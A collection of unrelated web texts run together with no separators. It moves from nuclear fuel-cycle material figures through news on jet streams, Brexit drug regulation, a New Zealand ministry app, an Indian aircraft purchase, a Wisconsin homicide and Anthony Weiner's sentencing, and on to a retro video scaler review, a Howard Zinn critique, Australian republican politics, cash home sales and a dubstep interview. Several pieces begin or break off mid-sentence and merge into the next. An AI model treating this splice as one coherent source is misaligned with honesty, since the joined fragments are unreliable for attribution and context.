Weapons-grade plutonium may also be used to make mixed oxide (MOX) fuel for use in ordinary reactors or in special reactors designed to 'burn' it for electricity. Another US-Russian agreement covers disposition of military plutonium from both countries into MOX fuel.
Material balance in the nuclear fuel cycle
The following figures may be regarded as typical for the annual operation of a 1000 MWe nuclear power reactor typical of many operating today, using 4.5% enriched fuel and with 45 GWd/t burn-up:b
Mining Anything from 20,000 to 400,000 tonnes of uranium ore Milling 249 tonnes of uranium oxide concentrate (which contains 211 tonnes of uranium) Conversion 312 tonnes of uranium hexafluoride, UF 6 (with 211 tU) Enrichment 35.9 tonnes of enriched UF 6 (containing 24.3 t enriched U @ 4.5%) – balance is 'tails' @ 0.22% Fuel fabrication 27.6 tonnes UO 2 (with 24.3 t enriched U) Reactor operation 8760 million kWh (8.76 TWh) of electricity at 100% output, hence 24 tonnes of natural U per TWh Used fuel 27.6 tonnes containing 280 kg transuranics (mainly plutonium), 26 t uranium oxide (<1.0% U-235), 1 tonne fission products.
The following figures assume the annual operation of 1000 MWe of nuclear power reactor capacity such as in the new AP1000 or EPR, with 5% enriched fuel and higher (65 GWd/t) burn-up:
Mining Anything from 20,000 to 400,000 tonnes of uranium ore Milling 192 tonnes of uranium oxide concentrate (which contains 163 tonnes of uranium) Conversion 241 tonnes of uranium hexafluoride, UF 6 (with 163 tU) Enrichment 25 tonnes of enriched UF 6 (containing 16.85 t enriched U) – balance is 'tails' @ 0.22% Fuel fabrication 19.1 tonnes UO 2 (with 16.85 t enriched U) Reactor operation 8760 million kWh (8.76 TWh) of electricity at 100% output, hence 18.6 tonnes of natural U per TWh Used fuel 19.1 tonnes containing 200 kg transuranics (mainly plutonium), 18.3 t uranium oxide (<1.0% U-235), <0.6 t fission products
Between the above figures, Uranium 2014: Resources, Production and Demand ('Red Book'), from the OECD NEA & IAEA, said that efficiencies on power plant operation and lower enrichment tails assays meant that uranium demand per unit capacity was falling, and the report’s generic reactor fuel consumption was reduced from 175 tU per GWe per year at 0.30% tails assay (2011 report) to 163 tU per GWe per year at 0.25% tails assay. The corresponding U 3 O 8 figures are 206 tonnes and 192 tonnes per GWe per year.
Further information
Notes
a. UO 2 has a very high melting point – 2865°C (compared with uranium metal – 1132°C). [Back]
b. Figures are based on the following assumptions: enrichment to 4.5% U-235 with 0.22% tails assay – hence 182,000 SWU (separative work units) of enrichment needed (one SWU requires about 50 kWh of electricity at an enrichment plant); refuelling so that 24.3 tU/yr is replaced annually (or 36.5 tU every 18 months) for core load 73 tU; operation – 45,000 MWday/t (45 GWd/t) burn-up, 33% thermal efficiency.
In fact, a nuclear power reactor cannot be expected to run at 100% load factor – 90% is more typical for good performance, so an output of around 7.9 TWh/yr is more realistic, but this simply means scaling back the inputs accordingly, e.g. to 190 tU/yr or 147 tU/yr for the modern unit.
With the higher (5%) enrichment and burn-up in the second (AP1000 or EPR) set of figures, enrichment input rises to 198,000 SWU. In the used fuel, transuranic and fission product numbers will be slightly lower due to high thermal efficiency.
Canadian figures for tU/GWe/yr suggest slightly lower uranium requirements and utilization for PHWRs than for light water reactors. An International Atomic Energy Agency technical report1 gives 157 tU at typical 7.5 GWd/t burn-up and 31% thermal efficiency, or 142 tU at 90% capacity factor, hence 80% of the input compared with a typical LWR above. This is 17.9 tU/TWh.
Considering just how much of the original uranium is actually used: 0.7% fissile U-235 is in natural U (Unat), on above 'typical' figures: 0.49% of Unat goes into fuel as the fissile part, 0.394% is actually fissioned, and in addition about half that much U-238 turned into Pu-239 is fissioned, giving about a 0.6% utilization of the original Unat.
With the EPR figures: 0.538% of Unat goes into fuel as the fissile part, 0.452% of that is actually fissioned, and in addition about half that much U-238 turned into Pu-239 is fissioned, giving about a 0.67% utilization of the original Unat. [Back]
References
1. Heavy Water Reactors: Status and Projected Development, Technical Reports Series No. 407, International Atomic Energy Agency, 2002, STI/DOC/010/407 (ISBN: 9201115024). PHWR data is taken from Chapter 6, HWR Fuel Cycles [Back]As The Guardian explains, jet streams undulate, and you can be located north or south of it at different times even if you stay in one place. Since it's typically hotter when you're somewhere south of a jet stream, study co-author Stefan Rahmstorf says "sunny days can turn into a serious heat wave and drought" if it gets stuck in that position. On the other hand, wet weather could lead to extended periods of heavy downpour and floods.
So, how exactly does man-made climate change fit into all these? Well, jet stream patterns are maintained by the temperature difference between the polar region and the rest of the world. Problem is, the Arctic is heating up faster than the rest of the planet due to greenhouse gas emissions. As the temperature difference gets smaller, the more likely it is for streams to get stuck and to cause extreme weather events.
Penn State professor and team leader Michael Mann said in a statement:
"Using the simulations, we demonstrate that rising greenhouse gases are responsible for the increase... We are now able to connect the dots when it comes to human-caused global warming and an array of extreme recent weather events. We came as close as one can to demonstrating a direct link between climate change and a large family of extreme recent weather events."
Please note: The comment section to this article has been closed due to the large number of harassing, abusive and unrelated comments. If you would like to see comments remain open on more articles, please treat your fellow commenters and the Engadget staff with courtesy and respect.Experts fear patients could wait up to two years longer for new drugs after Brexit ALAMY
The government’s medicines watchdog has warned that leaving the EU could jeopardise its ability to protect public health.
The annual accounts of the Medicines and Healthcare Products Regulatory Agency (MHRA) outline several possible dangers.
One is that Brexit threatens to “impact on the ability of the agency to undertake its public health protection role”. Another is that the agency fails to fulfil its statutory duties because it loses funding.
According to the Commons Library, the European Medicines Agency (EMA), which will quit London after Brexit, outsources up to a third of its work to the MHRA and provides a third of its income.
Experts fear patients will have to wait up to two years longer for new drugs after Brexit, because drug companies would approach…The Ministry of Business, Innovation and Employment is digging deep into its pockets again.
The business super-ministry is showing no signs of slowing down its spending spree after forking out about $200,000 for a "useless app".
And it plans to scrap the printed version of an important economic report, in favour of the app, which has barely any users.
The app also has few reviews that appear to have mostly been written by people who worked on the app and MBIE staff.
Parliamentary documents revealed the Ministry of Business, Innovation and Employment (MBIE) coughed up $198,067.30 to Alphero - an external provider - to develop the New Zealand Regions mobile app.
READ MORE:
* MBIE skips out on big Christmas party after $26k bill
* Business super-ministry spends $70k on big stone
* Ministry spends $140,000 on screen
* $560k bill for website overhaul
The app was launched to promote the Regional Economic Activity Report and was designed to provide easy to understand economic performance statistics to stakeholders and interested New Zealanders.
MBIE labour market trends senior analyst Ben Wallace said the app, which was launched in October, had been downloaded about 1600 times.
The documents show between October 15, 2015 and November 29, 2015, the app was downloaded 721 times from the iTunes store, and 357 times from the Google Play store.
Wallace said the app would regularly be updated with information and he expected people would use it more often each time new data was released, particularly Statistics New Zealand's regional GDP figures in March.
MBIE planned "inexpensive" social media campaigns around the time of key information releases, he said.
The Ministry intended to discontinue the printed Regional Economic Activity report once enough stakeholders started using it, which would save the annual printing cost, he said.
He said this was the same approach MBIE had taken with its Occupation Outlook app, which was now in its third year.
The region app would only require minor modifications, so much of the money spent was a one-off, to set it up, he said.
The app also has few reviews that appear to have mostly been written by people who worked on the app, and MBIE staff.
Alphero's principal consultant Craig Eades said the company developed the app and did a little bit of analytic work.
MBIE managed the app updates, which they did when new data became available. Only MBIE could provide user data, he said.
The company's director Caroline Dewe said the app was currently being updated.
In a written parliamentary answer to Labour MP David Clark, Economic Development Minister Steven Joyce, said as at November 29, MBIE had spent $1946.78 promoting the app.
Clark, Labour's economic development spokesperson, said no one in the real world would download an app to look at information they can find more easily on the internet.
"This is just expensive window dressing. Most apps cost just $1. This one has cost the taxpayer $200 for each download."
In a written answer to Green MP Julie Anne Genter, Joyce said there were also in-house costs associated with the app.
However, these could not be separately apportioned to the mobile app development, he said.
"It is expected the app will be used and re-issued over a number of years, with minor enhancements each year," he said.
In June 2015, MBIE came under fire after it emerged it had spent more than $67,000 on a new sign in front of its Stout St headquarters and $140,000 on a 3.5m curved screen in its reception.
MBIE's makeover also included $360,000 on furniture, $260,000 on a sundeck and hair straighteners in the female bathrooms.
In August last year, it was revealed the ministry spent $560,000 overhauling its new website.
The ministry also skipped out on a big Christmas party last year after it was revealed it spent $26,000 on the annual celebration in 2014.
Last week, it was revealed Joyce's New Zealand Trade and Enterprise agency spent $30,000 on pounamu pendants for staff.NEW DELHI: India is getting set to acquire the massive ShinMaywa US-2i amphibious aircraft from Japan as part of their expanding bilateral strategic partnership, with both nations wary of China’s assertive behaviour in the Asia-Pacific region.The defence acquisitions council (DAC), chaired by Manohar Parrikar, on Saturday will take up the proposal to “empower” the joint working group (JWG) to negotiate the purchase of at least 12 US-2i aircraft for the Navy for around $1.3 billion.“It will be like an AON (acceptance of necessity) that the Navy requires 12 US-2i as of now, and the commercial negotiations for them can begin. The Coast Guard, in turn, may require five such planes,” said a defence ministry source.The JWG set up by India and Japan has been discussing “cooperation on the US-2 amphibian aircraft”, including technology transfer and licenced production, since 2013 but a decisive stage seems to have been reached now.When PM Narendra Modi visited Japan last September for talks with his Japanese counterpart Shinzo Abe, the two directed the JWG to “accelerate progress in the discussions and preparations for a roadmap for the development of the Indian aircraft industry through the US-2 aircraft cooperation”. This, as is evident, envisages a much bigger project in the making, which will probably kick-off with the initial defence acquisition of 12 aircraft.The Modi government has also asked Japan, which recently lifted its five-decade-old arms export embargo, if it’s interested in fielding its Soryu-class submarines for the over Rs 50,000 crore project to build six stealth submarines in India, as was first reported by TOI.But Japan, with no experience of hawking its military wares, is likely to find it difficult to participate in a competition that will also have Russia, France, Germany and others in the fray. The US-2i project, however, is more of a direct government-to-government deal without such obstacles.The US-2i is quite a unique aircraft, capable as it is of short take-offs from land as well as water with a range of over 4,500 km. Powered by four big turbo-props, it can land even on rough seas amid three-metre high waves.Though basically designed for air-sea search and rescue operations, the US-2i can also rapidly transport 30 combat-ready soldiers to “hot zones” in an emergency. “The aircraft will give a huge boost to our operational logistics in areas like the far-flung but strategically critical Andaman and Nicobar Islands. It can also land spares and equipment in close proximity to warships on the high seas,” said an official.Incidentally, the relatively new naval air station INS Baaz at Campbell Bay in the A&N archipelago overlooks the Malacca Strait while dominating the Six-Degree Channel, in keeping with India’s overall policy to counter China's strategic moves in the Indian Ocean region as well as ensure security of shipping lanes.Steven Pirus is in custody for allegedly shooting his wife and attempting to cover up the crime with a house explosion, according to Madison police.
The couple's home on Stratton Way exploded Wednesday afternoon. Fire officials found the body of 50-year-old Lee Anne Pirus among the rubble.
An autopsy by the Dane County Medical Examiner shows Pirus died from homicidal firearm trauma, not injuries sustained from the blast. Koval said in the press conference Pirus was dead for weeks or months before the explosion.
Madison Police Department Lee Anne Pirus and Steve Pirus
Madison Police Department Lee Anne Pirus and Steve Pirus
Police confirmed Steven Pirus intentionally caused a natural gas leak to explode the house. Koval said Pirus admitted to shooting his wife then blowing up their home to cover up the homicide.
Pirus is being charged with first degree intentional homicide, arson and reckless endangerment, Police Chief Mike Koval said in a press conference Sunday.
News 3 previously reported that public records show the home was owned by Steven and Lee Anne Pirus since 2005. As of Sunday afternoon, Steven Pirus was in custody in the Dane County jail, News 3 has confirmed.
The death is still under investigation by the Madison Police Department, Madison Fire Department, Wisconsin Department of Justice Office of the State Fire Marshal and the Bureau of Alcohol, Tobacco and Firearms.
Stay tuned to News 3 and Channel3000.com for more on this developing story.BeachWalker NEW 2 hours ago
If our grandparents had done this in 1939 the UK would be ruled by Germany. (no irony intended)
Time to step up to the plate again. Black, White, Asian, Muslim or Jew.
If you value the British way of life then step up and do your duty.
All we can do at the moment is vote for UKIP.
OK they may not achieve power due to the way our voting system works, but make no mistake, tptb will take note.
And, you never know UKIP may just hold enough power to stop the rot.
We survived outside of Europe for centuries, no reason why we cannot do so again.
The EU is not going to stop trading with us if we leave them, we buy more from them than they do from us... Who has more to lose if we are cut off from European trade?
It isn't going to happen, its just scare mongering by the liblabcons.
They, Europe, need us as trading partners more than we need them.
The world was and can be again our trading partners. Sorry Ed961 I don't agree with running away.If our grandparents had done this in 1939 the UK would be ruled by Germany. (no irony intended)Time to step up to the plate again. Black, White, Asian, Muslim or Jew.If you value the British way of life then step up and do your duty.All we can do at the moment is vote for UKIP.OK they may not achieve power due to the way our voting system works, but make no mistake, tptb will take note.And, you never know UKIP may just hold enough power to stop the rot.We survived outside of Europe for centuries, no reason why we cannot do so again.The EU is not going to stop trading with us if we leave them, we buy more from them than they do from us... Who has more to lose if we are cut off from European trade?It isn't going to happen, its just scare mongering by the liblabcons.They, Europe, need us as trading partners more than we need them.The world was and can be again our trading partners. Reply 0CLOSE After his mugshot received positive attention from women on social media, a felon speaks out to a reporter at KXTV explaining that he's left his former gang life behind. VPC
Jeremy Meeks (Photo11: Stockton Police Department Facebook page)
Meet Jeremy Meeks. He's a 30-year-old felon who was arrested Wednesday on felony weapons charges during a sweep in the Weston Ranch area of Stockton, Calif., according to Stockton police.
He's also arguably the most popular suspect to grace the Stockton Police Department Facebook page.
Meeks' police mugshot generated 10,914 likes and 2,400 comments from Wednesday night to Thursday morning, many from women claiming to admire his looks.
"Hottttttt," Melissa Stiles wrote.
"Omg come to mama," Nicole Seba Lorena Elena commented.
"Holy [heck] i would arrest him too..hottest bad boy I've seen," Ellie Abbey wrote.
"He can kidnap me anyday... Hold me against my will lol," Jessica Gutierrez commented.
"Why is he breaking the law when he should be making millions modeling! Wowzas," Tanya H. Thomas said.
One user has set up a Facebook fan page for Meeks, who is being held in the San Joaquin County Jail on $900,000 bail. Of course, not everyone is amused by his admirers.
"$900,000 in bail and 6 felonies. You ladies are desperate," Amber Gomes wrote.
Read or Share this story: http://usat.ly/1qiGqeILAKE JACKSON, Texas--(BUSINESS WIRE)--The 2012 Ron Paul Presidential Campaign today announced the national “Homeschoolers for Ron Paul” coalition to energize voters who value educational choice.
“As a homeschooling father of four, I'm proud to support Congressman Paul for the Presidency. Dr. Paul consistently advocates for the proper role of the federal government in education—that is, no such role – and against both political parties that wish to exercise even greater federal control,” said education choice advocate James Mills.
“Dr. Paul is a champion to families who do not choose the public education option, by introducing legislation that would allow these families to keep more of their money to pay for additional costs they incur. He has been a stalwart of freedom, always arguing for the right to opt-out of the government system,” said Mr. Mills.
Mr. Mills serves on the “Homeschoolers for Ron Paul” national advisory board and is a Ron Paul campaign co-chairman for the 4th congressional district.
“As a proud homeschool dad my only logical choice for President is Ron Paul,” said David Fischer, Vice Chairman of the Ron Paul 2012 presidential campaign in Iowa and a “Homeschoolers for Ron Paul” national advisory board member.
“Education of our children is the domain of parents, not politicians. Ron Paul understands the threat to freedom when parental control of education is eroded, and replaced with government control,” said Mr. Fischer.
“Our family has been heavily supportive of Dr. Paul and I will work as hard as practically possible to relay the foundational principals of constitutionally limited government and traditional family values as a means of restoring America,” said education choice advocate David Keagle, father of eight homeschooled children and a “Homeschoolers for Ron Paul” national advisory board member.
“As lifetime members of the HSLDA and 11-year veterans of homeschooling, I am happy to endorse statesman Ron Paul whenever the opportunity arises,” said Mr. Keagle, referring to the Home School Legal Defense Association.
As a first basic step, those wanting to join the “Homeschoolers for Ron Paul” coalition should visit www.RonPaul2012.com/Homeschoolers.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Sep. 20, 2017, 5:38 PM GMT / Updated Sep. 20, 2017, 5:38 PM GMT By Tracy Connor
Former New York Congressman Anthony Weiner "deserves time in prison" — about two years — for sexual communications with a 15-year-old girl, prosecutors said in a court filing Wednesday before his sentencing next week.
In a submission last week, defense lawyers argued that Weiner — who is in the midst of getting divorced from Huma Abedin, a Hillary Clinton aide — should be spared jail time because the teenager at the center of the case wanted to write a tell-all book and hoped to influence the presidential election.
Anthony Weiner and Huma Abedin appear in court in New York on Wednesday in a divorce proceeding. Jefferson Siegel / The Daily News via AP
But the U.S. Attorney's office urged the judge not to let the disgraced Democrat off the hook at his sentencing on Monday, citing a "dangerous level of denial and lack of self-control."
"Although the defendant’s self-destructive path from United States Congressman to felon is indisputably sad, his crime is serious and his demonstrated need for deterrence is real," prosecutors wrote.
"The noncustodial sentence that Weiner proposes is simply inadequate; his crime deserves time in prison," they added.
Weiner pleaded guilty in May to one count of transferring obscene material to a minor; sentencing guidelines call for 10 years in prison. Prosecutors recommended 21 to 27 months, a range that Weiner agreed under his plea deal not to appeal.
Related: Anthony Weiner Pleads Guilty in Teen Sexting Case
Justifying a lighter punishment, prosecutors noted that Weiner never attempted to meet the teenager or other minors and didn't seek out child pornography online. However, in arguing for some prison time, they said the case went well beyond "sexting," with the girl disrobing during video sessions.
"The defendant did far more than exchange typed words on a lifeless cellphone screen with a faceless stranger," prosecutors wrote.
"With full knowledge that he was communicating with a real 15-year-old girl, the defendant asked her to engage in sexually explicit conduct via Skype and Snapchat, where her body was on display, and where she was asked to sexually perform for him."
The X-rated exchanges took place in early 2016 and came to light that September when the teen told her story, for a $30,000 fee, to the British tabloid The Daily Mail.
By then, Weiner's interest in online hookups was well known.
In 2011, he accidentally sent a crotch shot of himself via Twitter to a college student, then resigned from Congress as more photos surfaced. Two years later, the still-married politician mounted a campaign for New York City mayor that went down in flames amid revelations that he was still sexting.
Prosecutors said Weiner's prior scandals, though not criminal, should be considered by the court as it decides whether he's really rehabilitated himself.
"Weiner’s demonstrated history of professed, yet failed, reform make it difficult to rely on his present claim of self-awareness and transformation," they wrote.
In his own letter to the judge, Weiner acknowledged that he had endangered the well-being of a teenage girl but suggested he had already paid a high price.
"My continued acting out over years crushed the aspirations of my wife and ruined our marriage," he wrote.Hey adblock user! Would you mind whitelisting us? We run one ad at the top and one in the sidebar, that's it, no popups, no auto-playing videos. It would really help us cover our costs. Without advertising revenue we couldn't bring you any content and we really don't feel our ads spoil the site at all. Thank you!
Another month, another fantastic set of new features for the Open Source Scan Converter! New firmwares for the miracle little device are appearing at a frantic pace, giving enthusiasts plenty to get excited about. As we probably all know by now, the OSSC is a line doubler device. Rather than working on a frame at a time, the OSSC processes a single scanline at a time, meaning there’s no frame buffer and no input lag. Line doublers were more common near the start of the switch-over from CRTs to fixed resolution displays, but development of them was stopped due to a frame-buffer design being much more suited for quality deinterlacing of interlaced content. Until now, we’ve never really discovered just what would be possible with a next generation line doubler. Not so long ago we wrote about the OSSCs world first line tripling mode, but what if we could go even further than that?
Line Quadruple
The next logical step is, of course, line quadrupling. If we can double or triple the lines, why not quadruple them? 320 x 4 = 1280 and 240 x 4 = 960. 1280 x 960 happens to be a standard PC resolution, so it looks like we’re in business. Line quadruple mode (or Line4x mode for short) was introduced in firmware version 0.76 and is now out of beta and ready for the mainstream.
As you might expect, line quadruple mode gives a wonderful sharp picture on compatible displays and is ideally suited to pixel art. Scanlines look good too, much improved from those seen while the firmware was in beta and they give the image a much more natural look. Just like line triple mode, the 1280 x 960 signal the OSSC generates in line quadruple is somewhat off-spec, meaning many monitors and especially TVs will flat out reject it. As for secondary video processors, we found the DVDO Edge Green would accept the signal and produced a great image, but the more desirable VP50 Pro would not. Capture cards may struggle with compatibility too. The Startech PEXHDCAP managed to capture just a quarter of the screen before rejecting the rest of the image, hence the small sample we were able to collect for the picture above.
Line Quintuple
The next logical step is, of course, to multiply the line by five, let’s do the maths (or math, if you’re American); 320 x 5 = 1600 and 240 x 5 = 1200. Now of course we have a problem, 1600 x 1200 does not even fit in a 1920 x 1080 image that most modern TVs use.
Of course, there are displays that have a fixed resolution of 1600 x 1200. Before the world went widescreen, a number of PC monitors were made in this resolution. If you own one of these monitors, you can use line5x mode in 1600×1200 output mode directly, resulting in a breathtakingly sharp image that fills your monitors screen completely without having to crop the image. Again, the OSSC doesn’t put out a standard 1600×1200 signal by any stretch, but computer monitors, especially older monitors tend to be more tolerant of these deviations from spec.
We had no problems displaying the line5x signal on our Samsung SyncMaster 204B, a 1600×1200 panel from back in 2006. Sadly, panels this old tend to be rather dated when compared to modern displays and no displays are made in this resolution any more, but if you did want to use a panel like this for retro gaming, there’s really no better way.
Overscan advantages
Anyone familiar with using CRTs will probably be familiar with the term “overscan”. The tendency for CRT displays to crop parts of the image at the edge of the screen. Good quality CRTs suffered from this less, but cheaper models often did it more. Because of this, few games or TV broadcasts used the edges of the image for anything of critical importance, anticipating that peoples televisions might not even display this part of the image. This bit of display history means that we could simply throw away these parts of the image, just like the old CRTs often did, and just display the inner part of the image instead. That’s exactly the approach Marqs took when developing the 1080p line5x mode.
1080p on the OSSC is now a reality
Ladies and gentlemen, the picture here shows real 1080p output from the OSSC, something that was thought to be impossible at one time. The game shown is the awesome Japanese shooter “Undeadline” on the Sega Megadrive. As you can see, although parts of the image are cropped, the life, score and special weapons displays are still fully visible.
Again, due to the signal being somewhat off spec, we weren’t able to use line5x mode directly on our TVs. It is however, fully compatible with both the DVDO Edge, the DVDO VP50 and the VP50 Pro. In order to get a stable image at the correct aspect ratio with our 50 Pro, we had to tweak the advanced timings on the OSSC. We found the following values worked best:-
H. Samplerate 2057
H. Backporch 255
Using high quality cables fully rated for 1080p is also a must for this mode. If your HDMI cable is not up to snuff, you may simply get a “No signal” message regardless of your display. Furthermore, in our tests we found that some HDMI splitters may reject this signal, even ones normally rated for 1080p use.
Given its compatibility limitations and the fact that part of the image has to be cropped, the OSSC is still hardy a replacement for a full scaling solution like an XRGB Mini or a DVDO+OSSC combo, but then as we’ve repeated ad-nausium in the past, the OSSC was never designed to replace scalers like these. What you do get is a unique, input lag free presentation in 1080p that’s suitable for many retro game titles. That’s something you can’t get anywhere else.
The future.. OMG, Line Sextuple?!
Will there be a line sextuple mode on the OSSC? Unfortunately not, we’re now at the limits of the current hardware. To go into 4K resolutions would unfortunately require more powerful hardware. Will a more powerful OSSC arrive one day?, it’s certainly possible. For now, we can expect the rate of new firmware updates to slow down a little as the device is now close to feature complete, at least as far as Marqs imagined it.
That’s not to say the OSSC is finished as far as new features are concerned. Being open source means that skilled programmers around the world can add new features to the device. One such programmer has taken the initiative and added a custom firmware that brings scaling filters to the hardware. Filters like Scale2x aim to smooth out pixel art, making it look like more natural, hand drawn or painted imagery. It’s not for everyone and tends to work better in some games than others (particularly cartoon-like games such as Yoshi’s Island can often look very pleasing when run through these filters). If you want to experiment with this firmware, it’s available now, see this post on our forums for more information.
Who’d have thought this one little box would do so much for upscaling and converting of legacy video formats? For retro gaming enthusiasts, the OSSC is an essential part of your AV toolbox, if you’ve not got hold of one yet, be sure to put your name on our waiting list as soon as possible.Howard Zinn's Biased History
tags: Howard Zinn
Mr. Flynn is the executive director of Accuracy in Academia and author of the newly released, :Why the Left Hates America: Exposing the Lies That Have Obscured Our Nation’s Greatness."
Who is the most influential historian in America? Could it be Pulitzer Prize winners Arthur Schlesinger, Jr. or Joseph Ellis or David McCullough, whose scholarly works have reached a broad literary public? The answer is none of the above. The accolade belongs instead to the unreconstructed, anti-American Marxist Howard Zinn, whose cartoon anti-history of the United States is still selling 128,000 copies a year twenty years after its original publication. Many of those copies are assigned readings for courses in colleges and high schools taught by leftist disciples of their radical mentor. “Objectivity is impossible,” Zinn once remarked, “and it is also undesirable. That is, if it were possible it would be undesirable, because if you have any kind of a social aim, if you think history should serve society in some way; should serve the progress of the human race; should serve justice in some way, then it requires that you make your selection on the basis of what you think will advance causes of humanity.” History serving “a social aim” other than the preservation or interpretation of a historical record is precisely what we get in A People’s History of the United States. Howard Zinn’s 776 page tome, which after selling more than a million copies, has been recently re-released in a hardback edition. What accounts for the massive sales figures? One odd answer for a work by a university professor is that A People’s History of the United States has been the beneficiary of fawning celebrities, who are not normally associated with. Zinn has discussed politics with Pearl Jam’s Eddie Vedder and was on Rage Against the Machine’s reading list (note: beware of rock bands that issue reading lists). In Good Will Hunting, Matt Damon’s “Will Hunting” tells his psychiatrist that A People’s History of the United States will “knock you on your ass.” Damon and co-star Ben Affleck, who grew up near Zinn outside |
North Koreans that South Korea is really a great country. North Korean propaganda says ‘The South Koreans are poorer than we are.’ ”
Another key issue, Bennett said, is having enough South Korean and U.S. combat power ready to respond effectively to a collapse. A stabilization operation would require a heavy commitment of ground forces – something that could be in short supply as U.S. defense budget declines and South Korea’s aging demographics reduce its recruit pool.
Bennett estimated the U.S. commitment would have to range from a minimum of eight Army brigade combat teams to as many as 20 as the stabilization operation commenced. With the Army talking about having a total of around 30 brigade combat teams in the coming years, that would be a heavy lift and would likely end plans for reduced ground forces because of the end of the Iraq and Afghanistan wars, Bennett said.
From the perspective of the Pentagon, “You’ve got to balance your forces, which is a tricky issue,” he said in an interview. “But stepping back from the issue of balance, land forces in this case are critical. You’re not going to stabilize North Korea from the air.”
Carroll.chris@stripes.com
Twitter: @ChrisCarroll_Malcolm Turnbull's upcoming republican movement dinner appearance 'provocative', monarchists say
Updated
Plans by Malcolm Turnbull to attend a fundraising dinner for the republican movement this weekend have been branded "provocative" by monarchists.
Key points: Understood to be Malcolm Turnbull's first appearance at a republican event since becoming PM
Mr Turnbull is set to speak at the event on Saturday night
Monarchists have warned Mr Turnbull's attendance could cause a split in the Liberal party
The Australian Republican Movement (ARM) has confirmed it will host Mr Turnbull at a dinner on Saturday night at Sydney University.
"It is a provocative move because he's thumbing his nose in the eyes of the majority of Liberals who support a monarchy," chair of the Australian Monarchist League Phillip Benwell told The World Today.
But ARM chairman Peter FitzSimons said he was "absolutely thrilled" to have Mr Turnbull speaking at the dinner.
"It is an occasion to honour those who've got us to this point and the Prime Minister is, of course, at the forefront of our founding fathers and mothers," he said.
It is believed to be the first republican event Mr Turnbull has agreed to attend since becoming Prime Minister.
A former leader of the republican movement, Mr Turnbull has, as Prime Minister, avoided attempts to progress the issue.
Mr Benwell said Mr Turnbull's attendance at the dinner would be a sign he had switched to "actively supporting" a republic.
"This is something that we've been fearing because he's obviously looking for issues that will establish his credibility and the republic is obviously one of them and we would caution him on proceeding along that pathway," he said.
He also warned it could lead to a split within the Liberal party, describing the republican issue as a "catalyst" for defections from the parliamentary party.
Topics: government-and-politics, federal-government, turnbull-malcolm, political-parties, world-politics, republic, the-university-of-sydney-2006, australia
First postedWe paid cash for our million-dollar home
This home in Coral Gables, Fla., recently sold for just under $1 million -- to an all-cash buyer.
NEW YORK (CNNMoney) -- Laura Dominguez-Vasquez and her husband, Luis, recently sold their Coral Gables, Fla., home to all-cash buyers for just under $1 million. They're now shopping for a new home and intend to pay cash as well.
The busy professionals have three kids, aged 14 to 20, and they don't have the time or inclination to mess around with homebuying. "The process has to be painless," she said.
The Vasquezs are not unique; cash buys are becoming common. The number of homes bought with cash jumped to 32% in January compared to 26% a year earlier, according to the National Association of Realtors.
In Southern California, about 30% of the sales in January were cash, according to DataQuick Information Systems. Same thing in Denver. In Phoenix and Las Vegas, cash sales topped 50% of all deals.
"I'm personally closing about 30 deals a month and at least 30% of them are all cash," said Ruth Pugh, a San Diego-area agent.
One big factor forcing people to pay cash is weak appraisals. Before a sale, banks evaluate nearby homes to see how much a property should be valued at. But in one-time bubble markets, such as Miami, prices are still weak and appraisers are using foreclosures -- which sell at big discounts -- as the basis for their valuations.
As a result, appraisals are low and banks are refusing to finance the full amount needed to complete sales. So if you want the house, you have to bring cash.
Plus, sellers are often more willing to accept offers -- even lower ones -- from cash buyers because there is little chance of the deal falling through.
"You don't want to have to count on the banks and the appraisal process," said Dominguez-Vasquez. "It makes cash deals more attractive to sellers and makes it easier to for buyers to negotiate."
Bargain prices for condo buyers are also forcing the all-cash trend higher. For example, Jaime and Enriquetta Pena paid $90,000 cash for a two-bedroom, two-bath condo in Long Beach, Calif.
"They had saved for a while," said Joe Mendez, the couple's Coldwell Banker real estate agent. "They're ecstatic that they were able to purchase something without getting a mortgage."
Some condo buyers just can't get financing because the condo communities fall short of requirements of Fannie Mae and Freddie Mac, the two government agencies that guarantee most of the mortgages issued in the United States.
At least 70% of the units in a development have to be owner-occupied or in contract before the agencies will back loans. That means that in buildings where sponsors still own most of the units, buyers can't get mortgages.
Even buyers who can obtain financing choose not to simply because the approval process is long, complicated and painful. Anthony Waller intended to finance his purchase but changed his mind after he started talking to lenders.
"The main reason I paid cash is that I'm part of a family company," said Waller, who is a project manager for Waller Marine, a naval architecture firm. "The banks wanted to look into every aspect of our company finances. It becomes very onerous."
He wound up paying $1.3 million for a 10,000-square-foot home in northwestern Houston -- and didn't have to produce all the reams of company paperwork a mortgage lender would have required.
Of course, many cash sales involve investors. There is such a glut of foreclosures on the market that they can snap them up cheap and not have to worry about interest or payments.
"Some of the homes are in poor shape and may not even qualify for financing," said Michael Litzner, a real estate broker on Long Island, N.Y. "In other cases, the banks take a lower price than from someone who would have to get financing."
Brian Fuller is one such investor based in California. In the past, he bought mostly at foreclosure auctions. Now he buys repossessions and short sales, paying all cash.
"We found there was just too much competition at auctions," he said.
And the prices may be a bit cheaper. In January, the median price for all homes sold in California was $270,000 but only $190,000 for homes sold for cash, according to DataQuick.
The National Association of Realtors does not break out selling prices for cash deals vs. financed purchases, but finds that "anecdotally, they would be in the lower price ranges," said Walter Molony, a NAR spokesman.
That should continue to bring cash buyers to the market.
"Everyone has been saying 'Cash is king.' Well, some people are listening," said Ruth Pugh.As if to appear out of thin air, Brighton’s best kept secret is sitting on the tip of everyone’s tongue at the moment. Little was known about his [frankly] bizarre choice of alias until Vivek gave props to an unknown individual for handing him a dubplate at SYSTEM. Smart move especially when the king of sound system music approves what he hears pressed in the grooves. Whether it was an intentional marketing ploy or not is irrelevant, because we all now know that individual as Foamplate. With heads turned, “Fuzz” the track responsible for all that pandemonium was snatched up and signed by newly revived label Well Rounded Records alongside Corticyte’s ‘Negative Space’ for a split 12” single. Championing the old DMZ aesthetics, Foamplate also caught the ear of beat maker connoisseur Alex Sleeper. Having recently launched his own imprint – Crucial Recordings – Sleeper didn’t hold back on snapping him up for CRUCIAL003. With his 7.5 EP due for release next week, I hunted down dubstep’s newest sensation to have a chat about his musical beginnings, recent signings and future plans.
TRUSIK: Easy Louie, thank you for taking the time to speak with us. You’re causing quite a stir at the moment aren’t you…
FOAMPLATE: Hello! Hmm… well something’s happening. There’s been a fair amount of interest and support recently, so more people have been hearing my music.
TRUSIK: You’re first vinyl release “Fuzz” came out on Well Rounded Records not so long ago. How does it feel to finally have some material out there on physical format? Are you happy with the response it’s had?
